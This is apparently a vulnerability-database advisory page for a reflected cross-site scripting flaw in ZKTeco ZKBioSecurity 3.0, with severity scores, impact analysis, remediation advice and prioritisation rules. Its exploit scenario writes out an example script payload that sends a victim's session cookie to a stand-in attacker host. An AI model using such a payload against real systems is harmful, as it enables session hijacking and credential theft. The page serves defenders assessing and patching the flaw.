Skip to main content

Zkteco Zkbiosecurity CVE-2016-20027

| EUVDEUVD-2016-10809 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-03-15 VulnCheck
5.1
CVSS 4.0 · NVD
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

While the CVSS score of 6.1 (Medium severity) reflects moderate impact, multiple factors elevate real-world risk: (1) Attack Vector is Network/unauthenticated (AV:N/PR:N), requiring only a malicious URL sent to a victim—no privilege escalation needed; (2) User Interaction is required (UI:R) but this is typical for reflected XSS and easily achieved through phishing; (3) Scope is Changed (S:C), meaning the vulnerability can impact resources beyond the vulnerable component; (4) Confidentiality and Integrity are affected (C:L/I:L), allowing session hijacking and credential theft in biometric security contexts; (5) Publicly available POC exploits exist (PacketStorm Security reference confirms active availability); (6) The vulnerability targets ZKBioSecurity, a system managing biometric authentication—compromising it could grant access to physical security systems. However, the absence of explicit KEV/CISA status and EPSS data suggests this 2016 vulnerability may have limited active exploitation today. The real-world priority depends on deployment: legacy systems still running ZKBioSecurity 3.0 face significant risk, but modern deployments should have patched years ago. This is a HIGH-PRIORITY vulnerability for any organization still using affected versions in production.

Exploit ScenarioDerived

An attacker crafts a malicious URL targeting a ZKBioSecurity 3.0 instance, injecting an XSS payload into an unsanitized parameter (e.g., https://target.zk/script.asp?param=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>). The attacker sends this URL via phishing email to a ZKBioSecurity administrator. When the administrator clicks the link while authenticated to the application, the injected script executes in their browser session with the application's security context, allowing the attacker to: (1) steal the administrator's session cookie and impersonate them; (2) harvest biometric system credentials or authentication tokens; (3) modify user access permissions in the biometric system to grant unauthorized physical access; (4) redirect the administrator to a credential-harvesting page mimicking the login interface. The publicly available POC from PacketStorm Security demonstrates this attack is easily reproducible and requires minimal technical skill, making it a practical threat to vulnerable deployments.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 15, 2026

Reflected cross-site scripting (XSS) vulnerability in ZKTeco ZKBioSecurity 3.0 that allows unauthenticated attackers to execute arbitrary HTML and JavaScript code in a victim's browser session through malicious URLs containing unsanitized parameters. The vulnerability affects all versions of ZKBioSecurity 3.0 across the product line, and publicly available exploits exist (confirmed via PacketStorm Security), making it a moderate-risk vulnerability (CVSS 6.1) with demonstrated real-world exploitation potential.

RemediationAI

Immediate actions: (1) Update ZKTeco ZKBioSecurity to a patched version released after the 2016 disclosure—consult https://www.vulncheck.com/advisories/zkteco-zkbiosecurity-multiple-reflected-xss-vulnerabilities for version information; (2) Review ZKTeco vendor advisories for specific patch availability and upgrade procedures; (3) If immediate patching is impossible, implement compensating controls: restrict access to ZKBioSecurity administration interfaces via network segmentation and firewall rules, use Web Application Firewall (WAF) rules to detect and block XSS payloads (e.g., <script> tags in URL parameters), enforce HTTPOnly and Secure flags on session cookies to prevent script-based session theft, and educate users against clicking untrusted links to the application. (4) Monitor for exploitation attempts using intrusion detection patterns matching the POC from PacketStorm Security (https://packetstormsecurity.com/files/138568). Long-term: upgrade to ZKBioSecurity 4.x or later (if available) or migrate to alternative vendor biometric systems with modern security practices.

Affected VersionsENISA

ZKTeco ZKBioSecurity 3.0.1.0_R_230

Affected Packages

euvd zkteco_zkbiosecurity no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability stems from a CWE-79 (Improper Neutralization of Input During Web Page Generation) root cause across multiple script endpoints in the ZKTeco ZKBioSecurity application. The affected product (cpe:2.3:a:zkteco_inc.:zkteco_zkbiosecurity:*:*:*:*:*:*:*:*) uses web-based interfaces for biometric security management but fails to properly sanitize or encode user-supplied input parameters before reflecting them into HTML responses. This allows attackers to inject arbitrary script payloads that execute in the context of the authenticated user's session, bypassing the application's intended security boundaries. The vulnerability affects multiple script entry points, suggesting systemic input validation failures rather than isolated issues.

Know when Zkteco Zkbiosecurity gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Active
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

Lifecycle Timeline

3
CVSS changed
Apr 15, 2026 - 15:22 NVD
6.1 (MEDIUM) 5.1 (MEDIUM)
PoC Detected
Mar 16, 2026 - 14:53 vuln.today
Public exploit code
CVE Published
Mar 15, 2026 - 13:35 nvd
MEDIUM 6.1

DescriptionCVE.org

ZKTeco ZKBioSecurity 3.0 contains multiple reflected cross-site scripting vulnerabilities that allow attackers to execute arbitrary HTML and script code by injecting malicious payloads through unsanitized parameters in multiple scripts. Attackers can craft malicious URLs with XSS payloads in vulnerable parameters to execute scripts in a user's browser session within the context of the affected application.

Executive ViewAI

Why It Matters

Organizations using ZKTeco ZKBioSecurity 3.0 should be aware of moderate risk from CVE-2016-20027, a cross-site scripting vulnerability rated CVSS 6.1. Attackers could inject scripts to steal sessions or perform actions as authenticated users. Proof-of-concept code is publicly available. Organizations should apply vendor updates when available and monitor for exploitation.

Business Impact: Low
Compensating Controls

Apply vendor patch. If patching is delayed: implement CSP headers, enable HttpOnly cookies, deploy WAF XSS rules.

Threat Intelligence Overview

EPSS Score
0.0%
Top 91% exploitable
Exploit
POC
Public exploit code exists
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC Yes
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact
Low

Priority Score

46
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy